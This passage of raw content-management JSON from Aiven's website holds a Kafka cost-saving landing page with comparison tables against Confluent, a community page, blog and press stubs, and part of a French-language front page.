resources."}],"markDefs":[],"style":"normal"},{"_key":"fd644a9a70a5","_type":"block","children":[{"_key":"8f829e598ea0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e80189e2b8ec","_type":"block","children":[{"_key":"97d94ab840200","_type":"span","marks":["strong"],"text":"Extensive Cloud Coverage \u0026 Migration: "},{"_key":"8bb348b98e4d0","_type":"span","marks":[],"text":"Choose from 5 clouds and 100+ regions, enabling easy migration and potential cost savings."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"472279f2a598","_type":"block","children":[{"_key":"0e23b79bbb8f0","_type":"span","marks":["strong"],"text":"Transparent Pricing \u0026 Service Flexibility: "},{"_key":"b10c555ccda60","_type":"span","marks":[],"text":"Enjoy predictable pricing, integrate technologies with a few clicks, easily turn on/off or scale up/down your workloads to optimize costs based on your needs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Lower Total Cost of Ownership (TCO)","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"How Aiven helps control costs for Apache Kafka®"},{"_key":"00a740844ea7224747c5bb91c9514c5b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"30 mins. No strings attached","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a tailored demo"},"subtitle":[{"_key":"dadb5bfa9ac7","_type":"table","rows":[{"_key":"5f301539-2f48-43d0-b856-1e587120e2d3","_type":"tableRow","cells":["Managed service offering","Aiven for Apache Kafka®","Confluent"]},{"_key":"bac1075f-5fb9-4fd3-a616-94a077ca1eb7","_type":"tableRow","cells":["Experts manage your data infrastructure for you","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"be57dc3c-aadf-4336-ac9a-370b10d164d3","_type":"tableRow","cells":["Supported Open-Source Technologies in same platform","10 - Kafka, Flink, OpenSearch, ClickHouse, PostgreSQL, MySQL, Redis, Cassandra \u0026 Grafana.","2 - Kafka, Flink"]},{"_key":"465e6416-0517-4e5f-99ac-78297b19eb6a","_type":"tableRow","cells":["Multi-Cloud","5 - AWS, Microsoft Azure, Google Cloud, Digital Ocean \u0026 UpCloud","3 - AWS, Microsoft Azure \u0026 Google Cloud."]},{"_key":"f17fcc75-e7c6-46b0-9037-13342310ce94","_type":"tableRow","cells":["Dedicated Servers","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"76cbf144-6015-4466-b4ea-b80ae0768c95","_type":"tableRow","cells":["Default configurations based on use-case","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"5caf6e9e-de19-4a19-abce-06c2ba1c3717","_type":"tableRow","cells":["Replication","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"e822008c-819e-429a-aa9d-3c2bb3d69b8f","_type":"tableRow","cells":["Wide range of integrations","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"f0d9e162-988d-4b4c-8c71-b1246387d15d","_type":"tableRow","cells":["Availability","99.99% across all plans","99.95% Basic \u0026 Single AZ clusters. 99.99% Multi AZ clusters"]}]}],"title":"Finding the perfect fit for your business","variant":"centerColumn"},{"_key":"5c8663a93756c819ac916555d9846bb6","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"subtitle":[{"_key":"bd67f5655fe0","_type":"table","rows":[{"_key":"c34ed274-53e6-4ede-9feb-a0e3b85f7ee3","_type":"tableRow","cells":["Pricing model"," Aiven for Apache Kafka®","Confluent"]},{"_key":"393fa772-7b2c-4697-81a6-d2f78ba54a46","_type":"tableRow","cells":["Transparent pricing at all plans","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","No"]},{"_key":"1279e32c-af30-4433-8160-7a5ba92f3a12","_type":"tableRow","cells":["Networking included","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","No"]},{"_key":"54e57e2f-20fb-4375-a71b-46a600a22985","_type":"tableRow","cells":["Data Migration Services included","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","No. Data transfer costs added to cluster costs"]},{"_key":"1fc43677-7680-455e-81be-ce80350db752","_type":"tableRow","cells":["Bring Your Own Cloud (BYOC) support, to run on your cloud account","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","Not supported."]},{"_key":"135b106d-d208-400d-95a8-6eec980b3771","_type":"tableRow","cells":["Unlimited number of Kafka topics/partitions","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","No"]},{"_key":"9bd1c55d-55cb-4dfb-8900-df7e68cb78c9","_type":"tableRow","cells":["Virtual Private Cloud","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e\u003cbr\u003eIncluded for all plans","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e\u003cbr\u003eOnly with Enterprise"]},{"_key":"a1b49d12-f807-479e-854f-02b81888aa63","_type":"tableRow","cells":["Data Storage charges","Included in Price","Per GB/Hour Charge"]},{"_key":"84c23068-cf2e-4929-9cc8-66fedce9bc05","_type":"tableRow","cells":["Kafka Connector included","\u003cp style=\"color:#40c057\"\u003e✓\u003c/p\u003e","Charge / Connector Unit"]}]}],"variant":"centerColumn"},{"_key":"2fc5d36596a33382a6e87464567bb22e","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"service":{"_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},"title":"Enjoy high availability even with the smallest plan","variant":"single-service"},{"_key":"b9f6ac9290cdd19ac85f0be02133d81b","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"55b64b3951ce","_type":"testimonialItem","content":[{"_key":"e4a2cf5c12cf","_type":"block","children":[{"_key":"347d17cd94e90","_type":"span","marks":[],"text":"From 20 million trades/day \u0026 regular outages."}],"markDefs":[],"style":"normal"},{"_key":"1cc84964379a","_type":"block","children":[{"_key":"d3ada584f50e0","_type":"span","marks":[],"text":"To"},{"_key":"51c33e084e6b","_type":"span","marks":["strong"],"text":" 25% cost cut, 200 million trades/day \u0026 99.99% uptime"},{"_key":"9d1cc3a27633","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"6dd14f60-848e-49e0-9ab1-1fd9342e1ab2","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-e854fbd486c4ba7be1c07430217b5b161691f975-800x316-png","_type":"reference"}}},{"_key":"6546288f04e8e8d22167a6b5976cc8a2","_type":"testimonialItem","content":[{"_key":"e4a2cf5c12cf","_type":"block","children":[{"_key":"347d17cd94e90","_type":"span","marks":[],"text":"From 2 data centers."}],"markDefs":[],"style":"normal"},{"_key":"1cc84964379a","_type":"block","children":[{"_key":"d3ada584f50e0","_type":"span","marks":[],"text":"To"},{"_key":"51c33e084e6b","_type":"span","marks":["strong"],"text":" 4 regions with 2–4 data centers each, get insights into data in less than 2 mins"},{"_key":"e0cd753e5333","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}}},{"_key":"3c4c839cf6eb84fa3388ccaf72254db0","_type":"testimonialItem","content":[{"_key":"cc5d1f92eb0a","_type":"block","children":[{"_key":"4dbc64a0344a0","_type":"span","marks":[],"text":"From monolith system \u0026 scalability issues."}],"markDefs":[],"style":"normal"},{"_key":"0cb6806c6c50","_type":"block","children":[{"_key":"5a2e67e5785d0","_type":"span","marks":[],"text":"To"},{"_key":"1bfa0490d24f","_type":"span","marks":["strong"],"text":" 100 servers, tons of microservices, 9k messages/sec"},{"_key":"7448d625b01a","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Hear it from our customers","variant":"logo"},{"_key":"78017658a6a1","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-t","subtitle":[{"_key":"3f81809d37cf","_type":"block","children":[{"_key":"e5ef33db7fea0","_type":"span","marks":[],"text":"You can speak to a US-based Kafka expert to discuss how we can support your projects. After choosing your preferred meeting slot, we will send you a meeting invitation."}],"markDefs":[],"style":"normal"}],"title":"Book a 30 min tailored live demo","variant":"centerColumn"}],"internalTags":[{"_key":"b6ae7bfefbdb","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Learn how to optimize your cloud infrastructure costs with Aiven for Apache Kafka®","metaImage":{"_type":"mainImage","asset":{"_ref":"image-19e32c1a2dfc830e95626b966ec7edebbb0bfb12-1200x628-jpg","_type":"reference"}},"metaTitle":"Cut your Apache Kafka® costs with Aiven by up to 40%"},"slug":{"_type":"slug","current":"/cut-your-apache-kafka-costs-with-aiven-by-up-to-40-percent"},"title":"Cut costs by 40% on Apache Kafka"} {"__i18n_lang":"en","_createdAt":"2023-01-02T14:56:02Z","_id":"94242bba-8421-4db5-8edf-075086929aad","_rev":"sEwq5NBiPauorOxrhmMvUe","_type":"page","_updatedAt":"2024-11-20T06:30:02Z","content":[{"_key":"efbb808d4f65","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-b97985a8208abc1059d1fee8be898972517ff18e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","darkTheme":true,"description":[{"_key":"6d40584f7a08","_type":"block","children":[{"_key":"ddb36f1a6fc1","_type":"span","marks":[],"text":"A place for open-source data infrastructure practitioners like you to network, share knowledge, and power each other up - so we can build great solutions together. "}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"roundedCorners":"rounded-b","tagline":"Aiven Community","title":"Join the Aiven Community","variant":"compact"},{"_key":"7ab01b697da313a045f9d0798ffff47d","_type":"numberList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"meetups","noSpaceBottom":false,"noSpaceTop":false,"numbers":[{"_key":"dcb0bf9f7327","_type":"numberItem","description":[{"_key":"23187fbb9079","_type":"block","children":[{"_key":"4b18a8f6688e","_type":"span","marks":[],"text":"community members"}],"markDefs":[],"style":"normal"}],"number":"8300+"},{"_key":"4b360ad6240f","_type":"numberItem","description":[{"_key":"1ce88ee1ca2c","_type":"block","children":[{"_key":"c32357ebb3d2","_type":"span","marks":[],"text":"meetup groups"}],"markDefs":[],"style":"normal"}],"number":"23"},{"_key":"fcfefd6cbe1c","_type":"numberItem","description":[{"_key":"6104645c0747","_type":"block","children":[{"_key":"1dcbf5a2cc75","_type":"span","marks":[],"text":"countries"}],"markDefs":[],"style":"normal"}],"number":"16"}],"subtitle":[{"_key":"9ef305c38b21","_type":"block","children":[{"_key":"8d94cb9c1b31","_type":"span","marks":[],"text":"We organize "},{"_key":"76469f2c4a4f","_type":"span","marks":["strong","0f7ae582fe4c"],"text":"meetups around the topic of open source data technology"},{"_key":"1d85ff700bef","_type":"span","marks":[],"text":". Join peers in your city, or partner with us and come share your knowledge!"}],"markDefs":[{"_key":"0f7ae582fe4c","_type":"link","href":"https://www.meetup.com/pro/open-source-data-infrastructure-community/"}],"style":"normal"}],"title":"Hosting Meetups Around the World"},{"_key":"f9db117feee4","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","asset":{"_ref":"image-0420d86d2730c2373e154e2f8df4273b124e16c7-1100x200-png","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"6469352fea5b0b53579a8d66b945e270","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Aiven Community Forum","asset":{"_ref":"image-41ccef76ba7464bb638c66f07599844fdd3ea904-1932x1740-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Join the conversation"},"roundedCorners":"rounded","tagline":"aiven community forum","text":[{"_key":"c41bd77e1aac","_type":"block","children":[{"_key":"6a3208fadfe20","_type":"span","marks":[],"text":"Come chat about open source data and AI stuff, share content with peers, and find out about upcoming events! "}],"markDefs":[],"style":"normal"}],"title":"Join the Aiven Community Forum","variant":"mediaCenter"},{"_key":"8e6ace438cde","_type":"eventList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":true,"fullWidth":false,"id":"events","limit":6,"noSpaceBottom":false,"noSpaceTop":false,"subtitle":[{"_key":"98a06f360b8e","_type":"block","children":[{"_key":"c2cb9df00a620","_type":"span","marks":[],"text":"Participate in the open source data infrastructure events organized by the Aiven community. Explore your local events or join our live streams."}],"markDefs":[],"style":"normal"}],"tagline":"Events","title":"Get together and share knowledge"},{"_key":"d580ddaf1da1a7908c3c4bc9ac86f7d5","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"b6d52d9aaab6","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"},"title":"Contribute"},"image":{"_type":"mainImage","asset":{"_ref":"image-fdb4408bf15185c1b32ad4aa41f8295189805a8b-1354x1354-png","_type":"reference"}},"subtitle":[{"_key":"23bbc7e7a9b9","_type":"block","children":[{"_key":"6f5dd2404eb40","_type":"span","marks":[],"text":"At Aiven, open source is at the core of everything we do – from our culture of open-mindedness, to our desire to contribute and keep giving back to the world."}],"markDefs":[],"style":"normal"}],"title":"Open Source","variant":"default"},{"_key":"9d8613adfafcfe75ca3a2e546f5a5bf5","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"5c8b6345-6c17-4a8c-8ff1-fa2e51c3764a","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-cbfc040ffd70285a7843864ec6fb5caa59d71ab8-1666x1352-webp","_type":"reference"}},"subtitle":[{"_key":"ea9043a9155b","_type":"block","children":[{"_key":"869404db10f20","_type":"span","marks":[],"text":"Aiven aims to build a world where open source technology is developed by everyone, for everyone – with the good of the people and our environment in mind."}],"markDefs":[],"style":"normal"}],"title":"Sustainability","variant":"default"},{"_key":"bbc4bea077bd94fa5595497470e143ae","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_type":"reference"},"title":"Apply now"},"image":{"_type":"mainImage","asset":{"_ref":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_type":"reference"}},"subtitle":[{"_key":"51ce4052e824","_type":"block","children":[{"_key":"737bdbbd95cd0","_type":"span","marks":[],"text":"Our startup program offers up to $100,000 credit to build your data infra using Aiven services, and technical expertise to help your startup grow – fast."}],"markDefs":[],"style":"normal"}],"title":"Aiven Cluster Startup Program","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"programs","title":"Deep dive into our initiatives "},{"_key":"0e2477dd41ec72cd76bb669c43c21b4a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"backgroundPosition":"center top","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start for free"},"roundedCorners":"rounded-t","subtitle":[{"_key":"223c0133a7f4","_type":"block","children":[{"_key":"ad0ca7d559260","_type":"span","marks":[],"text":"Aiven makes setting up cloud databases so simple anyone can do it. Our set-it-and-forget-it solutions take the pain out of cloud data infrastructure."}],"markDefs":[],"style":"normal"}],"tertiaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"View pricing"},"title":"Get your first cluster online now","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"A place for open source data enthusiasts like you to network, share knowledge, and power each other up - so we can build great solutions together.","metaImage":{"_type":"mainImage","alt":"Join the Aiven open source data community, share ideas and find solutions. ","asset":{"_ref":"image-c7d08f0a6f90e56c569e09edb205e8924642af6d-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Community | Join the network of data enthusiasts now"},"slug":{"_type":"slug","current":"/community"},"title":"Community"} {"__i18n_lang":"en","_createdAt":"2022-09-07T20:18:39Z","_id":"438575c3-65ad-44ab-97bc-e0ff42080205","_rev":"T130WEs22RB6SoEkOC1o1i","_type":"page","_updatedAt":"2024-11-19T11:00:02Z","seo":{"_type":"metaData","metaDescription":"Visit the Aiven blog to get the latest insights, product news, updates, and industry trends in open source data technology. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Blog | Industry News, Insights | Get Informed "},"slug":{"_type":"slug","current":"/blog"},"title":"Blog"} {"__i18n_lang":"en","_createdAt":"2022-08-18T12:49:46Z","_id":"668f580e-9996-4c28-8fbe-1c6151081584","_rev":"xsD01XOCJj97gYpL0wsGyf","_type":"page","_updatedAt":"2024-06-07T09:39:30Z","content":[{"_key":"hc62tv62rpyrxq8eruasuoqa0vvs6zzo","_type":"hero","backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-3b41b4dd0630e221a67bbf20c117dd9bb9ec76d7-1440x367-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundSize":"cover","description":[{"_key":"9w9gc4h0lqjf2xlvnb3l3218rtfoesb6","_type":"block","children":[{"_key":"t1uqouujmsmft7skeluhjvqln0x5m3tk","_type":"span","marks":[],"text":"Check out our latest news updates and announcements."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"roundedCorners":"rounded-b","title":"Press","variant":"compact"}],"seo":{"_type":"metaData","excludeFromSitemap":false,"metaDescription":"Aiven's press releases, brand assets, and points of contact for media inquiries.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a3765254fd1f1d190c7780d989c6eeb2197147af-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Press Room | Latest Press Releases"},"slug":{"_type":"slug","current":"/press"},"title":"Press main page"} {"__i18n_base":{"_ref":"frontpage","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-04-04T02:41:12Z","_id":"frontpage__i18n_fr","_rev":"tW1iVB3M02HkZ9xlNEbVSK","_type":"page","_updatedAt":"2025-01-08T15:06:50Z","content":[{"_key":"8seyzcosjssvfuqqkzrowikwmmj0y0sf","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","carouselItems":[{"_key":"7ft3nnz7284ay5wils4emb5tz2sqk9od","_type":"captionImage","caption":[{"_key":"x06ms4aul004ypp04xh5blhhxs6clybe","_type":"block","children":[{"_key":"6jmax66i126an6b3ufc8nonk4yvbz80e","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h4"}],"image":{"_type":"mainImage","alt":"Aiven Console","asset":{"_ref":"image-e532c7ca34da3022ec33daf66e6567aa05f2dec6-2713x1772-png","_type":"reference"}}},{"_key":"j23lxjij1w442wzuiiqdbzyc3dwp1pvz","_type":"captionImage","caption":[{"_key":"bffhntfs5m40j8sc1ggi0tzfleae1yyj","_type":"block","children":[{"_key":"wamaeiwdvp2a7uh8rejwsm8vdjxmqz2r","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h4"}],"image":{"_type":"mainImage","alt":"Aiven Infrastructure diagram","asset":{"_ref":"image-707fba71a49c8da1cc71711af0e6a7e0663d7a1a-1466x766-png","_type":"reference"}}}],"carouselSyncTitleItems":[{"_key":"1lc4njbnhp4y5g4xh9tznpwqgbd92xhf","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"Streaming"},{"_key":"4vqlzuci3s0yumfm00sxeo8x8y63npo7","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"Database Optimization"},{"_key":"slwlx46zbyaz4u9lnk4bnagl47sgutdy","_type":"titleImageSyncSlide","image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"title":"AI Applications"}],"darkTheme":true,"disabled":false,"fullWidth":true,"headline":[{"_key":"6kmj5mo7fmw7425uxxa4ecn0zdomxzla","_type":"block","children":[{"_key":"3nmzh0po98teqxsixploh5y6or3bbl8u","_type":"span","marks":[],"text":"Votre plateforme de données et d'IA de confiance"}],"markDefs":[],"style":"h1"},{"_key":"ed3d5b08c0f4","_type":"block","children":[{"_key":"e87d917299f50","_type":"span","marks":[],"text":"Diffusion en continu | Optimisation de la base de données | Analyses | Recherche | Entrepôt de données | Mise en cache en mémoire"}],"markDefs":[],"style":"normal"},{"_key":"rgi31zph4in255z96wwlbmwl1squvrdm","_type":"block","children":[{"_key":"nv4it9oczz5sbh4o9qc9e6tx1zjxg2vi","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"jdfgh3vyh1p35u7xpxpng5vvmbxv0uvh","_type":"block","children":[{"_key":"cv7shfq5voq7hw71sqjwvoh2vgqlb3y5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"hideHostProviderTitle":false,"hostProviders":[{"_key":"7a1a1a7448a2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"81fdf256a683","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"c1c500612f93","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"31735b987fac","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"a0c076204367","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-d34eb4542373b708eecdef524a641ebff99db082-2385x2054-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Commencez gratuitement"},"roundedCorners":"rounded-b","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Réservez une démo"},"title":"Your Trusted Data \u0026 AI Platform","titleMultiColor":true,"variant":"default"},{"_key":"zj7h3ykbwsts17969mpalrqb7n3sgcyg","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","title":"En savoir plus sur la Plateforme Aiven"},"roundedCorners":"rounded-none","subtitle":[{"_key":"zwb878pvpwbxod5mn133dj8xd3i10q89","_type":"block","children":[{"_key":"srvr8anzu4otjfgi8quxjsroyrunn88z","_type":"span","marks":[],"text":"Aiven est une plateforme polyvalente qui vous permet d'optimiser vos charges de travail grâce à l'IA et de contrôler vos données. Déployez des technologies largement adoptées sur plusieurs clouds en quelques clics pour diffuser, stocker et servir vos données."}],"markDefs":[],"style":"normal"}],"title":"Une plateforme unifiée pour diffuser, stocker et servir des données sur n'importe quel cloud","topOverlap":false,"variant":"centerColumn"},{"_key":"fpcnbfwkafy7qvrdvy2zq0ww9xrl9ka9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"right bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"a3qaglhglghnmxn2bfyzuogau76qrahy","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2vy2d5jk4fmqlsuho7uoxdsx7wn0l8w1","_type":"block","children":[{"_key":"0cnm95ax8plh6rnc22tbdb59hb5b996k","_type":"span","marks":[],"text":"Les compétences techniques approfondies sont souvent détournées par la gestion de l'infrastructure de données et d'autres tâches à faible valeur ajoutée. Aiven vous aide à réallouer ces compétences en tirant parti des technologies open source largement adoptées qui peuvent être appliquées partout où cela est nécessaire avec une API commune sur plusieurs clouds."}],"markDefs":[],"style":"normal"}],"title":"Concentrez les compétences techniques sur l'innovation et la valeur","variant":"icon-card"},{"_key":"ogc1pgb0rw0sa24e43xfcuxnrwyt67j0","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"k2zw24smgps46nbkm0x02rjpi9to3dfs","_type":"block","children":[{"_key":"w03k0uf48tvuk3lvwwsh5a54ewj5iruc","_type":"span","marks":[],"text":"Les coûts du cloud, même à la demande, peuvent souvent être vagues et imprévisibles jusqu'à ce que les services soient consommés. Aiven propose des tarifs transparents et prévisibles pour éviter les surprises et réduire vos dépenses globales. Aiven peut également être déployé dans vos clouds AWS, Google ou Azure pour profiter de vos remises."}],"markDefs":[],"style":"normal"}],"title":"Optimisez les coûts du cloud","variant":"icon-card"},{"_key":"4uycdcj2am1os99r97ovxjulu0burhwb","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"hq5hf7rkjpyrmpjnpdnquyftpjlx6qdl","_type":"block","children":[{"_key":"zeepewcsfpzpltfu11iokgkzstotjpow","_type":"span","marks":[],"text":"Avec Aiven, vous pouvez 